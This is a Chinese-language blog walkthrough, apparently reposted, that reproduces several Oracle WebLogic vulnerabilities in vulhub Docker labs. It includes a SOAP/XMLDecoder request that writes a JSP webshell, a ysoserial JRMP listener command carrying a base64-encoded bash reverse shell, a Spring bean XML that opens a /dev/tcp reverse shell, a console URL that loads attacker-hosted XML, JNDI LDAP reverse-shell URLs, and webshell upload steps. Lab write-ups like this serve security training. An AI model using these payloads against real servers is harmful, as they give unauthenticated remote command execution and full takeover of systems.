vulhub weblogic全系列靶场

news2024/11/15 13:53:40

目录

简介

需要使用的工具

CVE-2017-10271

0x00 漏洞产生原因

0x01 影响范围

0x02 漏洞地址

0x03 环境

0x04 漏洞复现

1. 手工

2. 漏洞利用工具

CVE-2018-2628

0x00 漏洞产生原因

0x01 影响范围

0x02 环境

0x03 漏洞复现

1.nmap扫是否是T3协议

2.漏洞检测(利用dnslog外带)

3.漏洞复现

CVE-2018-2894

0x00 漏洞产生原因

0x01 影响范围

0x02 环境

0x03 复现信息

0x04 漏洞复现

CVE-2020-14882——CVE-2020-14883

0x00 漏洞产生原因

0x01 影响范围

0x02 环境

0x03 漏洞复现

CVE-2023-21839

0x00 漏洞产生原因

0x01 影响范围

0x02 漏洞测试

0x03 漏洞复现

######这里后续会补充ssrf和weak_password的漏洞复现


简介

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。

需要使用的工具

ysoserial使用不同库制作的放序列化工具:

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
weblogic集成的图形化攻击工具:

https://github.com/KimJun1010/WeblogicTool

JNDIMap 是一个 JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式

X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式 (github.com)

CVE-2017-10271

XXE漏洞

0x00 漏洞产生原因

CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过精心构建的漏洞来达到任意命令执行

0x01 影响范围

10.3.6.0        12.1.3.0.0        12.2.1.1.0

0x02 漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

这里我将这些地址添加进dirsearch的字典了,原版只有wls-wsat/CoordinatorPortType路径,

###每一次遇到一些漏洞的地址都可以添加进去

默认使用字典地址/usr/lib/python3/dist-packages/dirsearch/db/dicc.txt

!!!!注意我这里时使用的apt安装的dirsearch

0x03 环境

docker-compose搭建的vulhub靶场CVE-2017-10271

0x04 漏洞复现

1. 手工

poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println">
<string>
    <![CDATA[
<% out.print("webshell"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

访问存在漏洞的页面

使用hackbar随意传入一个post参数

将poc传入执行

只需要修改content-type为text/xml即可

访问可知成功写入,后续可通过此poc写入jsp马子

2. 漏洞利用工具

直接放入存在漏洞的url然后选择使用CVE_2017_10271漏洞,直接就可利用

CVE-2018-2628

反序列化漏洞

0x00 漏洞产生原因

该漏洞是因为T3协议而触发的反序列化漏洞,造成的任意命令执行漏洞,导致未授权用户远程命令执行

0x01 影响范围

10.3.6.0    12.1.3.0    12.2.1.2    12.2.1.3

0x02 环境

docker搭建的vulhub靶场

靶场地址:172.28.10.221:7001

0x03 漏洞复现

1.nmap扫是否是T3协议

一般T3协议是默认开启的,但也需要扫一下看是否存在,说不定开发人员给关了

nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 127.0.0.1

-T4   设置扫描速度(1-6)                               -sV    对端口的服务进行扫描

-O    服务器系统扫描                                        -p       指定扫描端口

--script   指定文件脚本

需要使用weblogic-t3-info模块指定去扫是否有T3协议####只针对没打补丁的情况下的检测

(这里我在本地搭建的所以使用的是127.0.0.1)

也可使用集成的工具直接扫

2.漏洞检测(利用dnslog外带)

这里使用的是bp自带的工具

3.漏洞复现

攻击流程

被攻击机——》攻击机(jrmp服务)——》回到被攻击机执行命令——》攻击机接收到shell

在攻击机上执行一下命令

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener+<监听端口>+<java1.7以上则填Jdk7u21>+<要执行的命令>

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections3 'calc'

 攻击机监听端口

尝试将反弹shell到攻击机

将bash命令加密一下

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

开启服务

./java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjgwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}'

这里注意java需要使用jre版本的,并且需要下载ysoserial放在java的bin目录里(也可放在其他地方使用绝对路径调用)

使用工具通过漏洞让被攻击机访问攻击机开启的服务

收到访问流量

成功拿到shell

CVE-2018-2894

任意文件上传漏洞

0x00 漏洞产生原因

weblogic未授权的两个页面存在任意文件上传

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制

0x01 影响范围

10.3.6.0        12.1.3.0        12.2.1.2        12.2.1.3

0x02 环境

weblogic服务器ip:172.28.10.221

还是使用docker搭建环境

0x03 复现信息

  1. 漏洞存在的页面:/ws_utc/begin.do、/ws_utc/config.do
  2. 登录账户密码使用命令查看docker-compose logs | grep password

0x04 漏洞复现

访问漏洞存在的页面

使用获取的账户密码登录(真实环境肯定是需要其他方法进入的,比如弱口令、未授权访问这些)

访问console目录自动跳转登录

启动web测试服务页

然后访问/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

这里把工作目录换为以上路径

bp抓包得到时间戳

因为他的命名方式为时间戳_名字.jsp

上传成功后访问此路径

/ws_utc/css/config/keystore/文件

能访问到就算成功

我这里使用的是冰蝎自带的马子

密码默认的

rebeyond

拿到webshell

CVE-2020-14882——CVE-2020-14883

管理控制台未授权远程命令执行漏洞

0x00 漏洞产生原因

CVE-2020-14882这个漏洞会造成未授权访问,而CVE-2020-14883允许后台用户通过http协议执行任意命令,这两个漏洞联合起来组成的利用链就可以达到任意命令执行的效果

0x01 影响范围

 10.3.6.0.0        12.1.3.0.0        12.2.1.3.0        12.2.1.4.0        14.1.1.0.0

0x02 环境

weblogic服务ip:172.28.10.21

 依旧是docker搭建

0x03 漏洞复现

正常访问登录页面会回显让登录

恶意构造的url,这里%252e%252e%252其实就是两次url加密后的../

/console/css/%252e%252e%252fconsole.portal

这是未授权访问的情况,因为是未授权访问所以这里缺少很多功能

方式1:

com.tangosol.coherence.mvel2.sh.ShellSession

使用此类的方法但是有局限性,只能在weblogic12.2.1以上版本能用,10.3.6版本并不存在此类

########因为这个靶场似乎不能使用还是怎么的,我做起来有问题,所以不做过多展示,直接使用法2

方法2:(这里注意,如果虚拟机不能过物理机防火墙那就把防火墙关了)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

此方法和CVE-2017-10271很相似,也是用到了XML解析的方法反弹shell,但是是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的

首先写一个xml文件,这里我放在桌面的

例如:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

然后python开启http服务

这里注意,在哪个文件夹下开启的,那么这个文件夹就是根目录

nc监听一下

payload:

http://172.28.10.221:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.194/1.xml")

CVE-2023-21839

0x00 漏洞产生原因

 和CVE2018-2628很相似,都是因为T3协议的缺陷造成的允许未经身份验证的攻击者通过T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露

0x01 影响范围

12.2.1.2.0        12.2.1.1.0        12.2.1.3.0        12.2.1.0.0        12.2.1.4.0        14.1.1.0.0        12.1.2.0.0        12.1.3.0.0        10.3.6.0       

0x02 漏洞测试

用nmap的weblogic-t3-info扫一下是否存在T3协议

 nmap -sV -O -T4 -p 7001 --script weblogic-t3-info 127.0.0.1

这里我是搭建在本地的所以使用127.0.0.1

这一题同样还是使用dnslog外带看是否存在漏洞

利用bp现成的工具

成功收到信息

0x03 漏洞复现

漏洞复现呢可以使用集成的工具更方便,也可使用poc

使用JNDI攻击

使用jndimap构造服务,利用jndi攻击拿shell

攻击机开启服务

java -jar 'C:\Program Files\Java\JNDIMap-main\target\JNDIMap.jar' -i 本机ip

监听端口

使用工具构造攻击

#####使用虚拟机搭建靶场的注意关闭攻击机防火墙

ldap://开启IDAP服务的服务器ip:1389/Basic/ReverseShell/攻击机ip/4444 ldap://127.0.0.1:1389/Basic/ReverseShell/MTI3LjAuMC4x/NDQ0NA==

拿到shell

######这里后续会补充ssrf和weak_password的漏洞复现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1615852.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构学习之路--玩转队列的内核知识(附C源码)

嗨嗨大家~我又来啦&#xff01;今天为大家带来的是与队列相关的知识。我们马上进入知识的海洋~ 目录 前言 一、队列 1 队列的概念 2 队列的实现 2.1 队列的定义 2.2 队列的初始化 2.3 队列的判空 2.4 入队 2.5 出队 2.6 取队头元素 2.7 取队尾元素 2.8 取…

CountDownLatch倒计时器源码解读与使用

&#x1f3f7;️个人主页&#xff1a;牵着猫散步的鼠鼠 &#x1f3f7;️系列专栏&#xff1a;Java全栈-专栏 &#x1f3f7;️个人学习笔记&#xff0c;若有缺误&#xff0c;欢迎评论区指正 目录 1. 前言 2. CountDownLatch有什么用 3. CountDownLatch底层原理 3.1. count…

React Router 6 + Ant Design:构建基于角色的动态路由和菜单

要根据用户的角色生成不同的路由菜单并实现权限控制,你可以采取以下步骤: 定义路由配置 首先,你需要定义一个包含所有可能路由的配置文件,例如: const routes [{path: /dashboard,element: <DashboardPage />,roles: [admin, manager, user]},{path: /users,element:…

Unity场景光照数据Light data asset

首先描述一下遇到的问题&#xff0c;游戏运行过程中切换场景之后发现模型接收的光照不对。 Unity编辑模式下正常显示&#xff1a; 运行模式下从其他场景切入之后显示异常&#xff1a; 排查了灯光参数和环境光以及着色器都没发现异常。 根据ChatGPT的回答&#xff0c;问题可能…

15.Nacos服务分级存储模型

服务跨集群调用问题&#xff1a; 服务调用尽可能的选择本地集群的服务&#xff0c;跨集群调用延迟较高。 本地集群不可访问的情况下&#xff0c;再去访问其他集群。 如何配置集群的实例属性&#xff1a; spring: cloud:nacos:server-addr: localhost:8848 #nacos服务端地址d…

[lesson48]同名覆盖引发的问题

同名覆盖引发的问题 父子间的赋值兼容 子类对象可以当做父类对象使用(兼容性) 子类对象可以直接赋值给父类对象(<font color>兼容性)子类对象可以直接初始化父类对象父类指针可以直接指向子类对象父类引用可以直接引用子类对象 当使用父类指针(引用)指向子类对象时 子类…

Vitis HLS 学习笔记--优化指令-BIND_OP_STORAGE

目录 1. BIND_OP_STORAGE 概述 1.1 BIND_OP 1.2 BIND_STORAGE 2. 语法解析 2.1 BIND_OP 2.2 BIND_OP 用法示例 2.3 BIND_STORAGE 2.4 BIND_STORAGE 示例 3. 实例演示 4. 总结 1. BIND_OP_STORAGE 概述 BIND_OP_STORAGE 其实是两个优化指令的合称&#xff1a;BIND_OP…

数栈+AI:数栈V6.2创新发布,让数据开发更智能

近日&#xff0c;以“DataAI&#xff0c;构建新质生产力”为主题的袋鼠云春季发布会圆满落幕&#xff0c;大会带来了一系列“AI”的数字化产品与最新行业沉淀&#xff0c;旨在将数据与AI紧密结合&#xff0c;打破传统的生产力边界&#xff0c;赋能企业实现更高质量、更高效率的…

究竟该怎么寄快递才能安全无误的送到手中呢?

最近&#xff0c;小编上班了发现有同事在吐槽快递送到手中的时间很晚了&#xff0c;比预计的时间差了很多&#xff0c;并且产品也有不同程度的损坏。这就让我们很是恼火了&#xff0c;但是细细研究后才发现有一部分的原因竟然是我们的原因才导致的寄快递出现了很多纰漏。 首先…

echart实现排名列表

function createHorizontalBarChart(chartId, data) {if (typeof echarts undefined) {console.error(请先引入 ECharts 库);return;}// 初始化echarts实例var myChart echarts.init(document.getElementById(chartId));// 对数据按照 value 进行降序排序var sortedData dat…

hexo配置教程、主题使用及涉及的技术学习

一、背景 最近,一直想做一个属于自己的网站.可以从零开始搭建一个网站,顺便可以把日常中学到的技术用于实战,还可以顺便记录自己的所思所感,记录成长的过程. 方案 一开始的方案是从零开始,模仿常见个人博客的设计,基于vueSpringbootMySQL的去实现网站. 新建项目之后,发现vu…

Git 新手快速入门教程

一、什么是 Git 1. 何为版本控制 版本控制是一种记录文件变化的系统&#xff0c;可以跟踪文件的修改历史&#xff0c;并允许用户在不同版本之间进行比较、恢复或合并。它主要用于软件开发过程中管理代码的变更&#xff0c;但也可以应用于任何需要跟踪文件变更的场景。 版本控…

【问题】java查询MySQL时,mysql查询tinyint类型 的数据时,0会被转为false,1或以上会转为true

在做接口测试的数据库断言时&#xff0c;发现type字段断言总是失败&#xff0c;期望是0&#xff0c;打印数据库实际值是false 查看数据库格式&#xff1a; 解决&#xff1a; 在数据库url上&#xff0c;添加&#xff1a;&tinyInt1isBitfalse ——可解决java查询MySQL时&a…

密钥密码学(二)

原文&#xff1a;annas-archive.org/md5/b5abcf9a07e32fc6f42b907f001224a1 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 第十章&#xff1a;可变长度分数化 本章涵盖 基于摩尔斯电码的密码 混合字母和双字母 可变长度二进制码字 基于文本压缩的密码 本章涵盖…

【JavaWeb】Day52.Mybatis动态SQL(二)

动态SQL-foreach 案例&#xff1a;批量删除员工功能 SQL语句&#xff1a; delete from emp where id in (1,2,3); Mapper接口&#xff1a; ~~~java Mapper public interface EmpMapper {//批量删除public void deleteByIds(List<Integer> ids); } ~~~ XML映射文件&am…

C++学习进阶版(一):用C++写简单的状态机实现

目录 一、基础知识 1、状态机 2、四大要素 3、描述方式 4、设计步骤 5、实现过程中需注意 &#xff08;1&#xff09; 状态定义 &#xff08;2&#xff09; 状态转换规则 &#xff08;3&#xff09; 输入处理 &#xff08;4&#xff09; 状态机的封装 &#xff08;5…

串联超前及对应matlab实现

串联超前校正它的本质是利用相角超前的特性提高系统的相角裕度。传递函数为&#xff1a;下面将以一个实际的例子&#xff0c;使用matlab脚本&#xff0c;实现其校正后的相位裕度≥60。

mysql基础2——字段类型

整数类型 需要考虑存储空间和可靠性的平衡 浮点类型 浮点数类型不精准 将十进制数转换为二进制数存储 浮点数类型&#xff1a;float double real(默认是&#xff0c;double ) 如果需要将real设定为float &#xff0c;那么通过以下语句实现 set sql_mode "real_as…

go语言实现心跳机制样例

1、服务端代码&#xff1a; package mainimport ("fmt""net" )func handleClient(conn net.Conn) {defer conn.Close()fmt.Println("Client connected:", conn.RemoteAddr())// 读取客户端的数据buffer : make([]byte, 1024)for {n, err : conn…

AOC/AGON亮相2024上海国际酒店及商业空间博览会,共话电竞酒店产业新趋势!

摘要&#xff1a;行业头部品牌共聚上海&#xff0c;共话电竞酒店市场未来&#xff01; 春景熙熙&#xff0c;相逢自有时&#xff0c;3月26日-29日&#xff0c;2024上海国际酒店及商业空间博览会以及第二届全国电竞酒店投资交流论坛在上海新国际博览中心圆满帷幕。连续五年蝉联…